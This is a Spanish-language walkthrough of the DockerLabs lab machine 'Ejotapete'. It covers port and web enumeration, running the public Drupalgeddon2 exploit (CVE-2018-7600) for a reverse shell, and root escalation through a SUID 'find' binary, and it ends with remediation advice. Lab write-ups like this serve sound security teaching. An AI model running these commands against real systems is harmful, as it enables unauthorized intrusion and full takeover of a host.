Ejotapete
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»En este artículo se documenta la resolución completa de la máquina virtual Ejotapete, creada por El Pingüino de Mario y catalogada como muy fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, clara y didáctica, explicando qué se hizo, por qué se tomó cada decisión y cómo detectar vulnerabilidades similares en entornos reales.
El proceso se divide en tres fases principales:
- Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
- Explotación – Obtención de acceso inicial mediante vulnerabilidad en un CMS.
- Escalada de privilegios – Aprovechamiento de binarios con permisos SUID para obtener privilegios de
root.
⚠️ Aviso: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de entornos expresamente autorizados.
Información general
Sección titulada «Información general»| Atributo | Detalle |
|---|---|
| Nombre | Ejotapete |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha de creación | 14/07/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»-
Descomprimimos el paquete descargado desde DockerLabs:
Ventana de terminal unzip Ejotapete.zip -
Desplegamos el contenedor con el script incluido:
Ventana de terminal sudo bash auto_deploy.sh Ejotapete.tar
El script levantará un contenedor Docker con los servicios necesarios y mostrará la IP asignada al finalizar. Anótala, ya que se usará durante todo el proceso de explotación.
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización de trabajo
Sección titulada «1.1 Organización de trabajo»Para mantener un entorno de trabajo limpio y ordenado, creamos una estructura de directorios:
mkdir -p Ejotapete/{content,exploits,nmap,scripts}cd EjotapeteConsejo: Mantener una estructura ordenada permite registrar mejor los hallazgos y simplifica la elaboración de reportes posteriores.

1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un escaneo completo con Nmap para descubrir los servicios activos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos detectados mediante un script auxiliar (extractPorts) o con grep:
extractPorts allPorts
Servicios identificados:
- Puerto
80– HTTP
No se detectaron otros puertos abiertos, lo cual sugiere que el vector de entrada estará en el servicio web.
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Procedemos a identificar directorios y archivos accesibles con Gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200 -o gobuster.txt
Rutas encontradas:
/drupal

El hallazgo de esta ruta nos indica la presencia de un CMS Drupal, por lo que el siguiente paso será identificar su versión y buscar posibles vulnerabilidades conocidas.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»Al acceder a la ruta /drupal, confirmamos que se trata de Drupal 8.5.0 (visible en el código fuente y archivos del CMS).
Sabemos que esta versión es vulnerable a ejecución remota de comandos (RCE), por lo que verificamos el exploit correspondiente con Searchsploit:
searchsploit drupal 8.5.0
El resultado nos muestra el exploit Drupalgeddon2 (CVE-2018-7600) que permite ejecución remota de código no autenticado.
Lo descargamos con el siguiente comando:
searchsploit -m 44449Antes de ejecutarlo, instalamos las dependencias requeridas (en este caso, la librería highline para Ruby):
gem install highlineFinalmente, ejecutamos el exploit:
ruby 44449.rb http://172.17.0.2/drupalEl script explota la vulnerabilidad y nos concede una reverse shell como el usuario www-data, lo que confirma la ejecución remota exitosa.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»Con acceso como www-data, iniciamos la enumeración del sistema en busca de binarios con permisos especiales (SUID):
find / -perm -4000 2>/dev/nullEl resultado revela que el binario find tiene el bit SUID activado:

Este tipo de configuración permite ejecutar comandos con privilegios elevados.
Podemos aprovecharnos de esto para escalar directamente a root:
find . -exec /bin/sh \; -quitEsto ejecuta una shell con privilegios de root, otorgándonos control total del sistema.

Conclusión y aprendizajes
Sección titulada «Conclusión y aprendizajes»Cadena de explotación (resumen)
Sección titulada «Cadena de explotación (resumen)»- Reconocimiento – Descubrimiento del servicio web con Drupal 8.5.0.
- Explotación – Uso del exploit público Drupalgeddon2 (CVE-2018-7600) para obtener acceso remoto.
- Escalada de privilegios – Abuso del bit SUID en el binario
findpara ejecutar comandos comoroot.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»- Uso de una versión obsoleta y vulnerable de Drupal.
- Ausencia de actualizaciones de seguridad y parches.
- Permisos inseguros en binarios del sistema (
findcon SUID activo). - Falta de segmentación de usuarios y medidas de control de privilegios.
Recomendaciones (remediación)
Sección titulada «Recomendaciones (remediación)»- Actualizar Drupal a una versión reciente no afectada por CVE-2018-7600.
- Implementar un plan de gestión de parches para todos los servicios web.
- Eliminar permisos SUID innecesarios y revisar los binarios del sistema regularmente.
- Limitar los privilegios del usuario del servidor web (
www-data). - Aplicar controles de acceso y segmentación adecuados para mitigar escaladas de privilegios.